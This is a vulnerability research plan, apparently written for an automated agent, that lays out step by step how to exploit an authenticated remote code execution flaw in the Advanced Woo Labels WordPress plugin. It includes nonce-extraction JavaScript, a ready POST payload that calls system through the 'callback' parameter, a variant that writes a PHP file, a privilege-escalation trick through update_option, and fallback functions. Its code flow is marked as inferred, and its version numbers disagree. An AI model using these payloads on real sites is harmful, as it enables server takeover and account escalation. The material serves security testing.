Advanced Woo Labels <= 2.37 - Authenticated (Contributor+) Remote Code Execution via 'callback' Parameter

This research plan outlines the steps for demonstrating Remote Code Execution (RCE) in the Advanced Woo Labels plugin (<= 2.36).

1. Vulnerability Summary

The vulnerability exists in the get_select_option_values() function, which acts as a handler for a WordPress AJAX action. The function accepts a callback parameter and a params parameter directly from the $_POST array and passes them into call_user_func_array(). Because the plugin fails to implement an allowlist for the callback or perform a specific capability check (beyond the implicit check for authenticated users), a Contributor-level user can execute arbitrary PHP functions. This leads to RCE via functions like system, passthru, or shell_exec.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: awl_get_select_option_values (inferred from plugin slug advanced-woo-labels and function name) or get_select_option_values.
• Vulnerable Parameter: callback
• Support Parameter: params (array of arguments for the callback)
• Authentication: Authenticated (Contributor+)
• Preconditions: The user must be logged in and have access to a valid AJAX nonce.

3. Code Flow (Inferred)

1. Registration: The plugin registers the AJAX handler in a core class constructor:
   add_action( 'wp_ajax_awl_get_select_option_values', array( $this, 'get_select_option_values' ) );
2. Handler Entry: The get_select_option_values() function is invoked.
3. Input Processing:

   $callback = $_POST['callback'];
   $params   = isset( $_POST['params'] ) ? $_POST['params'] : array();
   

4. Vulnerable Sink:
   $result = call_user_func_array( $callback, $params );
5. Output: The result is typically echoed back in a JSON response or as a string.

4. Nonce Acquisition Strategy

The AJAX handler likely verifies a nonce. We need to identify the nonce name and where it is localized for the admin dashboard.

1. Find the Nonce Creation: Search for where the nonce is generated:
   grep -r "wp_create_nonce" .
   Look for a string like awl_admin_ajax_nonce or awl_nonce.
2. Identify Localization: Look for wp_localize_script calls that pass this nonce to the JS environment.
   grep -r "wp_localize_script" .
3. Browser Extraction:
   • Login as a Contributor.
   • Since Contributors can access wp-admin/edit.php, navigate there.
   • Execute the following in browser_eval:

     // Check common AWL localization objects
     window.awl_admin_obj?.nonce || window.awl_js_vars?.nonce
     

   • Note: If the scripts only load on specific Advanced Woo Labels settings pages, the agent should verify if a Contributor can access those pages or if the script is enqueued globally in the admin.

5. Exploitation Strategy

We will use the http_request tool to send a crafted POST request to admin-ajax.php.

Request Details:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: awl_get_select_option_values (verify via grep)
  • nonce: [EXTRACTED_NONCE]
  • callback: system
  • params[]: id (this will be passed as the first element of the array to system)

Payload Example:

action=awl_get_select_option_values&nonce=a1b2c3d4e5&callback=system&params[]=id

6. Test Data Setup

1. User Creation: Create a Contributor user.
   wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Plugin Activation: Ensure advanced-woo-labels is active and WooCommerce (as a dependency) is installed/active.
3. Identify Action Name: Run grep -r "wp_ajax_awl_get_select_option_values" . to confirm the exact action string. If different, adjust the payload.

7. Expected Results

• The HTTP response should have a 200 OK status.
• The response body should contain the output of the id command (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

8. Verification Steps

1. Command Execution Check: Confirm the id output in the response matches the server's environment.
2. File Creation Check (Optional): Attempt to write a file to verify full write access:
   • callback: file_put_contents
   • params[]: vulnerable.php
   • params[]: <?php phpinfo();
3. Cleanup: Verify the created file exists via ls /var/www/html/vulnerable.php and then delete it.

9. Alternative Approaches

If system is disabled by disable_functions in php.ini:

1. Try passthru or shell_exec:
   callback=passthru&params[]=whoami
2. Information Gathering: Use callback=phpinfo to view the server configuration.
3. Arbitrary Option Update: If command execution is blocked, try callback=update_option&params[]=default_role&params[]=administrator. This would allow the Contributor to elevate privileges if the function context allows it.
4. PHP Function call: Try callback=wp_get_current_user to see if the callback is restricted to internal WordPress functions.